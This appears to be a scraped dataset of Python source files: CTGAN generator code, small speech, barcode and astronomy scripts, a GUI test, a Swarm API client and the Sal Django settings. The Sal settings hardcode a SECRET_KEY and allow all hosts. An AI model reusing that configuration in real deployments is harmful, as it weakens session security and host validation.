condition_value will increase the probability of the\n discrete condition_value happening in the condition_column.\n\n Parameters\n ----------\n n (int):\n Number of rows to sample.\n condition_column (string):\n Name of a discrete column.\n condition_value (string):\n Name of the category in the condition_column which\n we wish to increase the probability of happening.\n\n Returns\n -------\n numpy.ndarray or pandas.DataFrame\n \"\"\"\n if condition_column is not None and condition_value is not None:\n condition_info = self._transformer.convert_column_name_value_to_id(\n condition_column, condition_value\n )\n global_condition_vec = (\n self._data_sampler.generate_cond_from_condition_column_info(\n condition_info, self._batch_size\n )\n )\n else:\n global_condition_vec = None\n\n steps = n // self._batch_size + 1\n data = []\n for i in range(steps):\n mean = torch.zeros(self._batch_size, self._embedding_dim)\n std = mean + 1\n fakez = torch.normal(mean=mean, std=std).to(self._device)\n\n if global_condition_vec is not None:\n condvec = global_condition_vec.copy()\n else:\n condvec = self._data_sampler.sample_original_condvec(self._batch_size)\n\n if condvec is None:\n pass\n else:\n cat_id, col_id = condvec\n cat_id = torch.from_numpy(cat_id).to(self._device).long()\n c1 = self.embedding(x_id=(cat_id, col_id))\n fakez = torch.cat([fakez, c1], dim=1)\n fake = self._generator(fakez)\n fakeact = self._apply_activate(fake)\n data.append(fakeact.detach().cpu().numpy())\n\n data = np.concatenate(data, axis=0)\n data = data[:n]\n\n return self._transformer.inverse_transform(data)\n\n def set_device(self, device):\n self._device = device\n if self._generator is not None:\n self._generator.to(self._device)\n\n\nclass Discriminator(Module):\n def __init__(self, input_dim, discriminator_dim, pac=10):\n super(Discriminator, self).__init__()\n dim = input_dim * pac\n self.pac = pac\n self.pacdim = dim\n seq = []\n for item in list(discriminator_dim):\n seq += [Linear(dim, item), LeakyReLU(0.2), Dropout(0.5)]\n dim = item\n\n seq += [Linear(dim, 1)]\n self.seq = Sequential(*seq)\n\n def calc_gradient_penalty(\n self, real_data, fake_data, device=\"cpu\", pac=10, lambda_=10\n ):\n alpha = torch.rand(real_data.size(0) // pac, 1, 1, device=device)\n alpha = alpha.repeat(1, pac, real_data.size(1))\n alpha = alpha.view(-1, real_data.size(1))\n\n interpolates = alpha * real_data + ((1 - alpha) * fake_data)\n\n disc_interpolates = self(interpolates)\n\n gradients = torch.autograd.grad(\n outputs=disc_interpolates,\n inputs=interpolates,\n grad_outputs=torch.ones(disc_interpolates.size(), device=device),\n create_graph=True,\n retain_graph=True,\n only_inputs=True,\n )[0]\n\n gradient_penalty = (\n (gradients.view(-1, pac * real_data.size(1)).norm(2, dim=1) - 1) ** 2\n ).mean() * lambda_\n\n return gradient_penalty\n\n def forward(self, input):\n assert input.size()[0] % self.pac == 0\n return self.seq(input.view(-1, self.pacdim))\n\n\nclass Residual(Module):\n def __init__(self, i, o):\n super(Residual, self).__init__()\n self.fc = Linear(i, o)\n self.bn = BatchNorm1d(o)\n self.relu = ReLU()\n\n def forward(self, input):\n out = self.fc(input)\n out = self.bn(out)\n out = self.relu(out)\n return torch.cat([out, input], dim=1)\n\n\nclass Generator(Module):\n def __init__(self, embedding_dim, generator_dim, data_dim):\n super(Generator, self).__init__()\n dim = embedding_dim\n seq = []\n for item in list(generator_dim):\n seq += [Residual(dim, item)]\n dim += item\n seq.append(Linear(dim, data_dim))\n self.seq = Sequential(*seq)\n\n def forward(self, input):\n data = self.seq(input)\n return data\n\n\nclass CTGANDataSampler(object):\n \"\"\"samples the conditional vector and\n corresponding data for CTGAN.\"\"\"\n\n @staticmethod\n def is_discrete_column(column_info):\n return len(column_info) == 1 and column_info[0].activation_fn == \"softmax\"\n\n def __init__(self, data, output_info, log_frequency):\n self._data = data\n self.output_info = output_info\n\n n_categorical_columns = sum(\n [1 for column_info in output_info if self.is_discrete_column(column_info)]\n )\n self._discrete_column_matrix_st = np.zeros(n_categorical_columns, dtype=\"int32\")\n self._discrete_col_idxs = [\n idx\n for idx, column_info in enumerate(output_info)\n if self.is_discrete_column(column_info)\n ]\n\n # Store the row id for each category in each discrete column.\n # For example _rid_by_cat_cols[a][b] is a list of all rows with the\n # a-th discrete column equal value b.\n self._rid_by_cat_cols = []\n self._freq_by_cat_cols = []\n\n # Compute _rid_by_cat_cols\n st = 0\n for column_info in output_info:\n if self.is_discrete_column(column_info):\n span_info = column_info[0]\n rid_by_cat = []\n freq_by_cat = []\n for j in range(span_info.dim):\n rids = np.nonzero(data[:, st] == j)[0]\n freq = len(rids)\n freq_by_cat.append(freq)\n rid_by_cat.append(rids)\n self._rid_by_cat_cols.append(rid_by_cat)\n self._freq_by_cat_cols.append(freq_by_cat)\n st += 1\n else:\n st += sum([span_info.dim for span_info in column_info])\n assert st == data.shape[1]\n\n # Prepare an interval matrix to efficiently sample conditional vector\n max_category = max(\n [\n column_info[0].dim\n for column_info in output_info\n if self.is_discrete_column(column_info)\n ],\n default=0,\n )\n self._discrete_column_cond_st = np.zeros(n_categorical_columns, dtype=\"int32\")\n self._discrete_column_n_category = np.zeros(\n n_categorical_columns, dtype=\"int32\"\n )\n self._discrete_column_category_prob = np.zeros(\n (n_categorical_columns, max_category)\n )\n self._n_categorical_columns = n_categorical_columns\n self._n_categories = sum(\n [\n column_info[0].dim\n for column_info in output_info\n if self.is_discrete_column(column_info)\n ]\n )\n st = 0\n current_id = 0\n current_cond_st = 0\n for column_info in output_info:\n if self.is_discrete_column(column_info):\n span_info = column_info[0]\n freqs = self._freq_by_cat_cols[current_id]\n category_freq = np.asarray(freqs)\n if log_frequency:\n category_freq = np.log(category_freq + 1)\n category_prob = category_freq / np.sum(category_freq)\n self._discrete_column_category_prob[\n current_id, : span_info.dim\n ] = category_prob\n self._discrete_column_cond_st[current_id] = current_cond_st\n self._discrete_column_n_category[current_id] = span_info.dim\n current_cond_st += span_info.dim\n current_id += 1\n st += 1\n else:\n st += sum([span_info.dim for span_info in column_info])\n\n def get_condvec(self, col_id, cat_id):\n batch_size = col_id.shape[0]\n cond = torch.zeros(\n (batch_size, self._n_categories),\n dtype=torch.float,\n )\n category_id = self._discrete_column_cond_st[col_id] + cat_id\n cond[np.arange(batch_size), category_id] = 1\n return cond\n\n def _random_choice_prob_index(self, discrete_column_id):\n probs = self._discrete_column_category_prob[discrete_column_id]\n r = np.expand_dims(np.random.rand(probs.shape[0]), axis=1)\n return (probs.cumsum(axis=1) > r).argmax(axis=1)\n\n def sample_condvec(self, batch):\n \"\"\"Generate the conditional vector for training.\n\n Returns\n -------\n discrete column id (batch):\n Integer representation of mask.\n cond (batch x #categories):\n The conditional vector.\n mask (batch x #discrete columns):\n A one-hot vector indicating the selected discrete column.\n category_id_in_col (batch):\n Selected category in the selected discrete column.\n \"\"\"\n if self._n_categorical_columns == 0:\n return None\n\n discrete_column_id = np.random.choice(\n np.arange(self._n_categorical_columns), batch\n )\n mask = np.zeros((batch, self._n_categorical_columns), dtype=\"float32\")\n mask[np.arange(batch), discrete_column_id] = 1\n category_id_in_col = self._random_choice_prob_index(discrete_column_id)\n return category_id_in_col, mask, discrete_column_id\n\n def sample_original_condvec(self, batch):\n \"\"\"Generate the conditional vector for\n generation use original frequency.\"\"\"\n if self._n_categorical_columns == 0:\n return None\n\n col_ids = np.zeros((batch, 1), dtype=\"float32\")\n cat_ids = np.zeros((batch, 1), dtype=\"float32\")\n for i in range(batch):\n row_idx = np.random.randint(0, len(self._data))\n col_idx = np.random.randint(0, self._n_categorical_columns)\n col_id = self._discrete_col_idxs[col_idx]\n cat_id = self._data[row_idx, col_id]\n col_ids[i] = col_idx\n cat_ids[i] = cat_id\n\n return cat_ids, col_ids\n\n def sample_data(self, n, col_id, cat_id):\n \"\"\"Sample data from original training data\n satisfying the sampled conditional vector.\n\n Returns\n -------\n n rows of matrix data.\n \"\"\"\n if col_id is None:\n idx = np.random.randint(len(self._data), size=n)\n out = self._data[idx]\n\n idx = []\n for c, o in zip(col_id, cat_id):\n idx.append(np.random.choice(self._rid_by_cat_cols[c][o]))\n\n out = self._data[idx]\n out_data = []\n st = 0\n for column_info in self.output_info:\n if self.is_discrete_column(column_info):\n span_info = column_info[0]\n one_hot = np.zeros((out.shape[0], span_info.dim))\n one_hot[:, out[:, st].astype(\"int\")] = 1\n out_data.append(one_hot)\n st += 1\n else:\n ed = st + sum([span_info.dim for span_info in column_info])\n out_data.append(out[:, st:ed])\n st = ed\n return np.concatenate(out_data, axis=1)\n\n def get_n_categories(self):\n return self._n_categories\n\n def generate_cond_from_condition_column_info(self, condition_info, batch):\n col_id = np.zeros((batch, 1), dtype=\"float32\")\n cat_id = np.zeros((batch, 1), dtype=\"float32\")\n col_id[:] = condition_info[\"discrete_column_id\"]\n cat_id[:] = condition_info[\"value_id\"]\n return cat_id, col_id\n\n\nclass EmbeddingGenerator(torch.nn.Module):\n \"\"\"\n Classical embeddings generator\n \"\"\"\n\n def __init__(self, input_dim, cat_dims, cat_idxs, projection_dim=0, cat_emb_dim=[]):\n \"\"\"This is an embedding module for an enite set of features\n Parameters\n ----------\n input_dim : int\n Number of features coming as input (number of columns)\n cat_dims : list of int\n Number of modalities for each categorial features\n If the list is empty, no embeddings will be done\n cat_idxs : list of int\n Positional index for each categorical features in inputs\n cat_emb_dim : int or list of int\n Embedding dimension for each categorical features\n If int, the same embdeding dimension will be used for all categorical features\n \"\"\"\n super(EmbeddingGenerator, self).__init__()\n if cat_dims == [] or cat_idxs == []:\n self.skip_embedding = True\n self.post_embed_dim = input_dim\n return\n\n # heuristic\n if len(cat_emb_dim) == 0:\n # use heuristic\n cat_emb_dim = [min(600, round(1.6 * n_cats**0.56)) for n_cats in cat_dims]\n\n if projection_dim == 0:\n projection_dim = max(cat_emb_dim)\n self.projection_dim = projection_dim\n self.skip_embedding = False\n if isinstance(cat_emb_dim, int):\n self.cat_emb_dims = [cat_emb_dim] * len(cat_idxs)\n else:\n self.cat_emb_dims = cat_emb_dim\n\n # check that all embeddings are provided\n if len(self.cat_emb_dims) != len(cat_dims):\n msg = \"\"\" cat_emb_dim and cat_dims must be lists of same length,\n got {len(self.cat_emb_dims)} and {len(cat_dims)}\"\"\"\n raise ValueError(msg)\n\n self.post_embed_dim = int(\n input_dim\n + len(self.cat_emb_dims) * self.projection_dim\n - len(self.cat_emb_dims)\n )\n\n self.embeddings = torch.nn.ModuleList()\n self.projections = torch.nn.ModuleList()\n\n # Sort dims by cat_idx\n sorted_idxs = np.argsort(cat_idxs)\n self.col_id_to_idx = {col_id: idx for idx, col_id in enumerate(sorted_idxs)}\n cat_dims = [cat_dims[i] for i in sorted_idxs]\n self.cat_emb_dims = [self.cat_emb_dims[i] for i in sorted_idxs]\n\n for cat_dim, emb_dim in zip(cat_dims, self.cat_emb_dims):\n self.embeddings.append(torch.nn.Embedding(cat_dim, int(emb_dim)))\n self.projections.append(\n torch.nn.Sequential(\n torch.nn.Linear(int(emb_dim), projection_dim),\n torch.nn.ReLU(inplace=True),\n )\n )\n # record continuous indices\n self.continuous_idx = torch.ones(input_dim, dtype=torch.bool)\n self.continuous_idx[cat_idxs] = 0\n\n def forward(self, x_full=None, x_id=None):\n \"\"\"\n Apply embdeddings to inputs\n\n Parameters\n ----------\n x_full (torch.Tensor): complete row feature\n x_id (torch.Tensor, torch.Tensor): two tensors containing\n (column_id, categorical_id), both must be of size `[batch_size, 1]`\n \"\"\"\n assert not (\n (x_full is None) and (x_id is None)\n ), \"both `x_full` and `x_id` cannot be `None`\"\n assert not (\n (x_full is not None) and (x_id is not None)\n ), \"only one of `x_full` and `x_id` should be passed\"\n\n if self.skip_embedding:\n # no embeddings required\n return x_full\n\n if x_full is not None:\n x = x_full\n cols = []\n cat_feat_counter = 0\n for feat_init_idx, is_continuous in enumerate(self.continuous_idx):\n # Enumerate through continuous idx\n # boolean mask to apply embeddings\n if is_continuous:\n cols.append(x[:, feat_init_idx].float().view(-1, 1))\n else:\n emb = self.embeddings[cat_feat_counter](x[:, feat_init_idx].long())\n emb = self.projections[cat_feat_counter](emb)\n cols.append(emb)\n cat_feat_counter += 1\n cols = torch.cat(cols, dim=1)\n else:\n x_cat_id, x_col_id = x_id\n x_col_id = np.squeeze(x_col_id).astype(int)\n x_cat_id = torch.squeeze(x_cat_id)\n uids = np.unique(x_col_id)\n cols = torch.zeros(x_col_id.shape[0], self.projection_dim)\n cols = cols.to(x_cat_id.get_device())\n # TODO: how to get rid of loop?\n for uid in uids:\n mask = x_col_id == uid\n mask = mask.reshape(\n -1,\n )\n emb_idx = self.col_id_to_idx[uid]\n embs = self.embeddings[emb_idx](x_cat_id[mask])\n embs = self.projections[emb_idx](embs)\n cols[mask] = embs\n # concat\n return cols\n","repo_name":"Nanthini10/synthetic-data","sub_path":"src/generator/tabular/ctgan_emb.py","file_name":"ctgan_emb.py","file_ext":"py","file_size_in_byte":32201,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"23250103231","text":"import speech_recognition as sr\n\n# Creating a recognition object\nr = sr.Recognizer()\n\n# Extracting the audio & removing ambient noice\naudio_file = sr.AudioFile('video.wav')\nwith audio_file as source:\n r.adjust_for_ambient_noise(source)\n audio = r.record(source)\n\n# Recognize the audio\nprint(r.recognize_google(audio))","repo_name":"saikalcom08/megacom_boot_project","sub_path":"self_learning/speech_recognition/sp_recog.py","file_name":"sp_recog.py","file_ext":"py","file_size_in_byte":323,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"15677113102","text":"# helloBarcode - ZBar delivers barcode data to Pythonista\n\n# https://gist.github.com/cclauss/6708024\n\nprogramName = sys.argv[0].rpartition('/')[2]\ntheBarcode = sys.argv[1] if len(sys.argv) > 1 else None\nfmt = '{} was launched with barcode: {}'\nprint(fmt.format(programName, theBarcode))\n\n# Save this file in Pythonista as 'helloBarcode'.\n# Download free app ZBar from the iTunes App Store.\n# Launch ZBar on your device.\n# Scan the barcode on a book, coke can, whatever.\n# On the Barcode Detail screen, click Edit in the upper right.\n# Scroll to the bottom fo the screen and Add New Link.\n# Set the Name to Pythonista helloBarcode.\n# Set the URL to pythonista://helloBarcode?action=run&argv=\n# Click the plus (+) in the upper right of the screen.\n# I selected GTIN-13 for everyday products.\n# Click Edit Link URL in the upper left of the screen.\n# This should complete the URL so it ends in &argv={GTIN-13}\n# Click Done and then click Save and then click Done.\n# Click the Pythonista helloBarcode line.\n# Pythonista's helloBarcode should be launched...\n# ... your barcode should appear!\n","repo_name":"tdamdouni/Pythonista","sub_path":"_2016/to-sort/helloBarcode.py","file_name":"helloBarcode.py","file_ext":"py","file_size_in_byte":1087,"program_lang":"python","lang":"en","doc_type":"code","stars":981,"dataset":"github-code","pt":"11"} +{"seq_id":"36386777413","text":"import numpy as np\n\n# From README_ftp.html from the 2MASS FTP site:\n# ----\n# The Point Source Catalog has been ordered in 0.1 degree declination bins starting at -90.0 degrees. Within each declination bin the sources are in order of increasing right ascension. Sources with declination < 0.0 degrees are contained in 57 gzipped files (psc_aaa.gz to psc_ace.gz). Sources with declination > 0.0 degrees are contained in 35 gzipped files (psc_baa.gz to psc_bbi.gz). The declination bins may span file boundaries except at 0.0 degrees.\n# ----\n# HOWEVER, the PSC is *not* in correct order. Therefore one must re-process the PSC with:\n# py2mass_process_original_psc.py\n# (and that re-processing leaves the dec bands in the correct:\n# >= lower limit\n# < upper limit\n\n\n# The Extended Source Catalog is in order of declination beginning at -90.0 degrees. It has been divided into two files, xsc_aaa which contains sources with declination < 0.0 degrees and xsc_baa which contains sources with declination > 0.0 degrees.\n#\n\n# This is a one-time use script to confirm that the DEC swatch ranges are >= and <.\n\nfrom py2mass import _get_radec_peakpixel_from_xsc_line, _find_2mass_dir, _get_file_object\n\n_2mass_dir = _find_2mass_dir()\n\n\ncur_dec = -9999.\nfor curbase in ['xsc_aaa', 'xsc_baa']:\n f = _get_file_object(curbase)\n for curline in f:\n ra, dec = _get_radec_peakpixel_from_xsc_line(curline)\n assert(dec > cur_dec)\n cur_dec = dec\n\n# Yup, worked out OK. xsc is in correct order.\n","repo_name":"henryroe/Py2MASS","sub_path":"py2mass/confirm_order_of_xsc.py","file_name":"confirm_order_of_xsc.py","file_ext":"py","file_size_in_byte":1503,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"11"} +{"seq_id":"22917401345","text":"# coding=utf-8\nfrom gui_test_tool import *\nfrom dataForTest import *\n\ntool = GUITestTool()\n\n\ndef precondition():\n try:\n c_info = get_merchant_info('testSP_平台服务商')\n sh_id1 = add_merchant('查询测试1', c_info[0]['id'], 2)\n sh_id2 = add_merchant('查询测试2', c_info[0]['id'], 2)\n except Exception as e:\n print(e)\n else:\n return sh_id1, sh_id2\n\n\ndef query():\n # 前置条件:创建名为“查询测试1”、“查询测试2”的两个商户\n sh_id1, sh_id2 = precondition()\n\n # 客户全称输入框:查询测试1\n tool.fill_action(\n 'merchantName',\n '查询测试1',\n '客户全称输入框',\n locator=By.ID\n )\n # 点击查询按钮\n tool.click_action(\n 'querybtn',\n '查询按钮',\n locator=By.ID\n )\n # 断言\n tool.equal_text_assert(\n 'fontbold',\n 'list count',\n '1',\n end='@结束@',\n locator=By.CLASS_NAME\n )\n\n tool.mark_status()\n tool.finished()\n # 清理环境\n del_merchant(sh_id1)\n del_merchant(sh_id2)\n\n\nif __name__ == \"__main__\":\n query()\n # 清理环境\n unbind_device([d['id'] for d in device_info])\n delete_customer(customer_info['id'])\n\n","repo_name":"FengZiQ/sp_gui","sub_path":"商户管理查询.py","file_name":"商户管理查询.py","file_ext":"py","file_size_in_byte":1260,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"40414568213","text":"import json\nimport Config\nimport requests\n\n\nclass SwarmActivityItem(object):\n def __init__(self, id, url, change, description ):\n self.id = id\n self.url = url\n self.change = change\n self.description = description\n\n def __str__(self):\n return (\"id: \" + str(self.id) + \"\\n\"\n \"url: \" + str(self.url) +\"\\n\"\n \"change: \" + str(self.change) +\"\\n\"\n \"description: \" + str(self.description))+\"\\n\"\n\nclass Swarm(object):\n def __init__(self):\n self.s = requests.Session()\n self.s.auth = (Config.settings['swarm_username'], Config.settings['swarm_password'])\n\n def __do_query(self, query_string):\n s = self.s\n response = s.get(query_string)\n lastSeen = 0;\n activity = []\n if \"200\" in str(response.status_code):\n json_data = json.loads(response.text)\n for item in json_data['activity']:\n activity.append(SwarmActivityItem(str(item['id']), str(item['url']), str(item['change']), item['description'].split(':')[0]))\n lastSeen = json_data[\"lastSeen\"]\n\n while lastSeen > Config.settings['swarm_jira_start'] :\n response = s.get(query_string+ \"&after=\" + str(lastSeen))\n json_data = json.loads(response.text)\n if not json_data[\"activity\"]:\n return activity\n if \"200\" in str(response.status_code):\n for item in json_data['activity']:\n activity.append(SwarmActivityItem(str(item['id']), str(item['url']), str(item['change']),\n item['description'].split(':')[0]))\n lastSeen = json_data[\"lastSeen\"]\n return activity\n\n def LoadUserChanges(self):\n activity_url = Config.settings['swarm_server'] + Config.settings['swarm_activity'] + Config.settings['swarm_user_stream']\n return self.__do_query(activity_url)\n\n def LoadAllChanges(self):\n activity_url = Config.settings['swarm_server'] + Config.settings['swarm_activity'] #+ \"/after=\" + lastSeen\n return self.__do_query(activity_url)","repo_name":"DouganRedhammer/JiraSwarm","sub_path":"SwarmClient.py","file_name":"SwarmClient.py","file_ext":"py","file_size_in_byte":2131,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"24081754398","text":"import logging.config\nimport os\n\n\nDEBUG = False\nAPPEND_SLASH = True\nPROJECT_DIR = os.path.abspath(\n os.path.join(os.path.dirname(os.path.abspath(__file__)), os.path.pardir)\n)\nPLUGIN_DIR = os.path.join(PROJECT_DIR, \"plugins\")\nADMINS = (\n # ('Your Name', 'your_email@example.com'),\n)\n\nAUTH_PROFILE_MODULE = \"sal.UserProfile\"\nDISPLAY_NAME = \"Sal\"\nMANAGERS = ADMINS\nDEPLOYED_ON_CHECKIN = False\nADD_TO_ALL_BUSINESS_UNITS = False\nADD_NEW_MACHINES = True\nINACTIVE_UNDEPLOYED = 0\nSEARCH_FACTS = []\nSEARCH_CONDITIONS = []\nDATA_UPLOAD_MAX_NUMBER_FIELDS = None\nTEMPLATES = [\n {\n \"BACKEND\": \"django.template.backends.django.DjangoTemplates\",\n \"DIRS\": [\n os.path.join(PROJECT_DIR, \"templates\"),\n os.path.join(PROJECT_DIR, \"server\", \"plugins\"),\n PLUGIN_DIR,\n ],\n \"APP_DIRS\": True,\n \"OPTIONS\": {\n \"context_processors\": [\n \"django.template.context_processors.debug\",\n \"django.template.context_processors.request\",\n \"django.contrib.auth.context_processors.auth\",\n \"django.contrib.messages.context_processors.messages\",\n \"sal.context_processors.display_name\",\n \"sal.context_processors.sal_version\",\n ],\n \"debug\": DEBUG,\n \"autoescape\": True,\n },\n },\n]\n\n# The order plugins (if they're able to be shown on that particular page) will be displayed in.\n# If not listed here, will be listed alphabetically after.\nPLUGIN_ORDER = [\n \"Activity\",\n \"Status\",\n \"OperatingSystem\",\n \"MunkiVersion\",\n \"Uptime\",\n \"Memory\",\n \"DiskSpace\",\n \"PendingAppleUpdates\",\n \"Pending3rdPartyUpdates\",\n \"PuppetStatus\",\n]\n\n# Only show these plugins on the front page - some things only the admins should see.\nLIMIT_PLUGIN_TO_FRONT_PAGE = []\n\n# Hide these plugins from the front page\nHIDE_PLUGIN_FROM_FRONT_PAGE = []\n\n# Hide these plugins from the specified business units\nHIDE_PLUGIN_FROM_BUSINESS_UNIT = {\n # 'Encryption':['1']\n}\n\n# Hide these plugins from the specified machine groups\nHIDE_PLUGIN_FROM_MACHINE_GROUP = {\n # 'DiskSpace':['1']\n}\n\n# Facts which will have historical data kept in addition to the most\n# recent instanct of that fact.\nHISTORICAL_FACTS = [\n # 'memoryfree_mb',\n]\n\n# How long to keep historical facts around before pruning them.\nHISTORICAL_DAYS = 180\n\n# Facts to be discarded and not saved to the database\nIGNORE_FACTS = []\n\n# Facts to not be displayed on the Machine Information page\nEXCLUDED_FACTS = {\n \"sshrsakey\",\n \"sshfp_rsa\",\n \"sshfp_dsa\",\n \"sshdsakey\",\n}\n\n# Hosts/domain names that are valid for this site; required if DEBUG is False\n# See https://docs.djangoproject.com/en/1.5/ref/settings/#allowed-hosts\nALLOWED_HOSTS = [\"*\"]\n\n# Local time zone for this installation. Choices can be found here:\n# http://en.wikipedia.org/wiki/List_of_tz_zones_by_name\n# although not all choices may be available on all operating systems.\n# In a Windows environment this must be set to your system time zone.\nTIME_ZONE = \"Europe/London\"\n\n# Language code for this installation. All choices can be found here:\n# http://www.i18nguy.com/unicode/language-identifiers.html\nLANGUAGE_CODE = \"en-us\"\n\nSITE_ID = 1\n\n# If you set this to False, Django will make some optimizations so as not\n# to load the internationalization machinery.\nUSE_I18N = True\n\n# If you set this to False, Django will not format dates, numbers and\n# calendars according to the current locale.\nUSE_L10N = True\n\n# If you set this to False, Django will not use timezone-aware datetimes.\nUSE_TZ = True\n\n# Absolute filesystem path to the directory that will hold user-uploaded files.\n# Example: \"/var/www/example.com/media/\"\nMEDIA_ROOT = \"\"\n\n# URL that handles the media served from MEDIA_ROOT. Make sure to use a\n# trailing slash.\n# Examples: \"http://example.com/media/\", \"http://media.example.com/\"\nMEDIA_URL = \"\"\n\n# Absolute path to the directory static files should be collected to.\n# Don't put anything in this directory yourself; store your static files\n# in apps' \"static/\" subdirectories and in STATICFILES_DIRS.\n# Example: \"/var/www/example.com/static/\"\nSTATIC_ROOT = os.path.join(PROJECT_DIR, \"static\")\n\n# URL prefix for static files.\n# Example: \"http://example.com/static/\", \"http://static.example.com/\"\nSTATIC_URL = \"/static/\"\n\n# Additional locations of static files\nSTATICFILES_DIRS = (\n # Put strings here, like \"/home/html/static\" or \"C:/www/django/static\".\n # Always use forward slashes, even on Windows.\n # Don't forget to use absolute paths, not relative paths.\n os.path.join(PROJECT_DIR, \"site_static\"),\n)\n\n# List of finder classes that know how to find static files in\n# various locations.\nSTATICFILES_FINDERS = (\n \"django.contrib.staticfiles.finders.FileSystemFinder\",\n \"django.contrib.staticfiles.finders.AppDirectoriesFinder\",\n # 'django.contrib.staticfiles.finders.DefaultStorageFinder',\n)\n\n# Make this unique, and don't share it with anybody.\nSECRET_KEY = \"ppf%ls0f)mzkf#2dl-nbf^8f&=84py=y^u8^z-f559*d36y_@v\"\n\nMIDDLEWARE = (\n \"django.middleware.security.SecurityMiddleware\",\n \"django.contrib.sessions.middleware.SessionMiddleware\",\n \"django.middleware.common.CommonMiddleware\",\n \"django.middleware.csrf.CsrfViewMiddleware\",\n \"django.contrib.auth.middleware.AuthenticationMiddleware\",\n \"django.contrib.messages.middleware.MessageMiddleware\",\n \"django.middleware.clickjacking.XFrameOptionsMiddleware\",\n \"server.middleware.AddToBU.AddToBU\",\n \"search.current_user.CurrentUserMiddleware\",\n)\n\nLOGIN_URL = \"/login\"\nLOGIN_REDIRECT_URL = \"/\"\n\nROOT_URLCONF = \"sal.urls\"\n\n# Python dotted path to the WSGI application used by Django's runserver.\nWSGI_APPLICATION = \"sal.wsgi.application\"\n\nINSTALLED_APPS = (\n \"django.contrib.auth\",\n \"django.contrib.contenttypes\",\n \"django.contrib.sessions\",\n \"django.contrib.sites\",\n \"django.contrib.messages\",\n \"django.contrib.staticfiles\",\n \"django.contrib.admin\",\n \"django.contrib.admindocs\",\n \"sal\",\n \"server\",\n \"api\",\n \"catalog\",\n \"inventory\",\n \"licenses\",\n \"profiles\",\n \"bootstrap3\",\n \"datatableview\",\n \"search\",\n \"rest_framework\",\n \"django_filters\",\n 'health_check',\n)\n\n\ndef update_sal_logging_config(config):\n \"\"\"Reset Sal logging to use config\n\n In most cases, call `get_sal_logging` first to get the existing\n config, update it, and then call this function.\n\n args:\n config (dict): Config to use, following the\n logging.config.dictConfig format.\n \"\"\"\n global _SAL_LOGGING_CONFIG\n _SAL_LOGGING_CONFIG = config\n logging.config.dictConfig(_SAL_LOGGING_CONFIG)\n\n\ndef get_sal_logging_config():\n \"\"\"Return the current logging config for Sal\n\n returns:\n dict following the logging.config.dictConfig format.\n \"\"\"\n return _SAL_LOGGING_CONFIG\n\n\n# Zero out all of Django's logging decisions. It's easier this way.\nLOGGING_CONFIG = None\n_SAL_LOGGING_CONFIG = {\n \"version\": 1,\n \"disable_existing_loggers\": False,\n \"formatters\": {\n \"sal_format\": {\n \"format\": \"[%(asctime)s] %(levelname)s [%(name)s:%(lineno)s] %(message)s\",\n \"datefmt\": \"%d/%b/%Y %H:%M:%S\",\n },\n },\n \"handlers\": {\n \"console\": {\"class\": \"logging.StreamHandler\", \"formatter\": \"sal_format\"},\n },\n \"loggers\": {\n \"\": {\n \"handlers\": [\"console\"],\n \"level\": \"ERROR\",\n },\n \"sal\": {\n \"handlers\": [\"console\"],\n \"level\": \"ERROR\",\n \"propagate\": False,\n },\n \"server\": {\n \"handlers\": [\"console\"],\n \"level\": \"ERROR\",\n \"propagate\": False,\n },\n # Configure additional Sal apps for logging here.\n },\n}\n\n\n# Do an initial configuration of logging\nupdate_sal_logging_config(_SAL_LOGGING_CONFIG)\n\n\nBOOTSTRAP3 = {\n \"set_placeholder\": False,\n}\n\nif \"DYNO\" in os.environ:\n # Parse database configuration from $DATABASE_URL\n import dj_database_url\n\n DATABASES[\"default\"] = dj_database_url.config() # noqa: F821\n\n # Honor the 'X-Forwarded-Proto' header for request.is_secure()\n SECURE_PROXY_SSL_HEADER = (\"HTTP_X_FORWARDED_PROTO\", \"https\")\n\n # Allow all host headers\n ALLOWED_HOSTS = [\"*\"]\n\nREST_FRAMEWORK = {\n \"DEFAULT_AUTHENTICATION_CLASSES\": (\n \"rest_framework.authentication.SessionAuthentication\",\n \"api.auth.ApiKeyAuthentication\",\n ),\n \"DEFAULT_PERMISSION_CLASSES\": (\"api.auth.HasRWPermission\",),\n \"DEFAULT_PAGINATION_CLASS\": \"rest_framework.pagination.PageNumberPagination\",\n \"PAGE_SIZE\": 100,\n \"DEFAULT_FILTER_BACKENDS\": (\"django_filters.rest_framework.DjangoFilterBackend\",),\n}\n\nDATA_UPLOAD_MAX_MEMORY_SIZE = 5242880\n","repo_name":"salopensource/sal","sub_path":"sal/system_settings.py","file_name":"system_settings.py","file_ext":"py","file_size_in_byte":8741,"program_lang":"python","lang":"en","doc_type":"code","stars":212,"dataset":"github-code","pt":"11"} +{"seq_id":"70615949148","text":"import csv\nfrom datetime import date, timedelta\nfrom time import strptime\n\nfrom zope import component\nfrom zope.interface import implements\nfrom zope.cachedescriptors.property import Lazy\n\nfrom cybertools.external.base import BaseReader\nfrom cybertools.external.element import Element\n\n\nxls2csv = '%(cpath)s -f %%Y-%%m-%%d %(fpath)s.xls >%(fpath)s.csv'\n\n\nclass CsvReader(BaseReader):\n\n encoding = 'UTF-8'\n elementFactories = {None: Element}\n fieldNames = ()\n start = stop = sortKey = None\n\n def read(self, input):\n result = []\n for x in range(self.start or 0):\n input.readline() # skip lines on top\n reader = csv.DictReader(input, self.fieldNames)\n allElements = {}\n rows = list(reader)[:self.stop]\n if self.sortKey:\n rows.sort(key=self.sortKey)\n for idx, row in enumerate(rows):\n if self.ignoreRow(idx, row):\n continue\n currentElements = {}\n for k, v in row.items():\n keys, v = self.preprocessField(k, v)\n if not keys:\n continue\n if not isinstance(keys, (tuple, list)):\n keys = [keys]\n for k in keys:\n type = None\n if '.' in k:\n type, k = k.split('.', 1)\n element = currentElements.get(type)\n if element is None:\n ef = self.elementFactories.get(type)\n if ef is None:\n raise ValueError('Missing element factory for %r.' % type)\n if ef == 'ignore':\n continue\n element = currentElements[type] = ef()\n element.type = type\n if isinstance(v, str):\n v = v.decode(self.encoding)\n self.setValue(element, k, v)\n for element in sorted(currentElements.values(), key=lambda x: x.order):\n if element.identifier is None:\n 